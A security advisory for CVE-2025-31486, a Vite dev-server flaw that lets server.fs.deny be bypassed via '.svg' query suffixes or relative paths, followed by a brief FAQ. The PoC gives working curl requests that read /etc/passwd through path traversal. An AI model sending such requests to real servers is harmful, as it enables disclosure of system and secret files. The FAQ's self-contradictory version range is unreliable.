CVE-2025-31486: Vite allows server.fs.deny to be bypassed with .svg or relative paths
### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details #### `.svg` Requests ending with `.svg` are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass. This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+. #### relative paths The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`). ### PoC ```bash npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `etc/passwd` ```bash curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init' ``` ```bash curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw' ```
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What is the severity of CVE-2025-31486?
CVE-2025-31486 has a critical severity rating due to the potential for arbitrary file disclosure.
How do I fix CVE-2025-31486?
To mitigate CVE-2025-31486, upgrade to a patched version of Vite that addresses the file access restrictions.
Which versions of Vite are affected by CVE-2025-31486?
CVE-2025-31486 affects Vite versions 6.0 and above, including specific versions between 4.5.12 and 6.2.5.
What type of vulnerability is CVE-2025-31486?
CVE-2025-31486 is a security vulnerability that allows arbitrary file contents to be returned to the browser.
Is there a workaround for CVE-2025-31486?
While upgrading is recommended, implementing stricter access control rules may serve as a temporary workaround for CVE-2025-31486.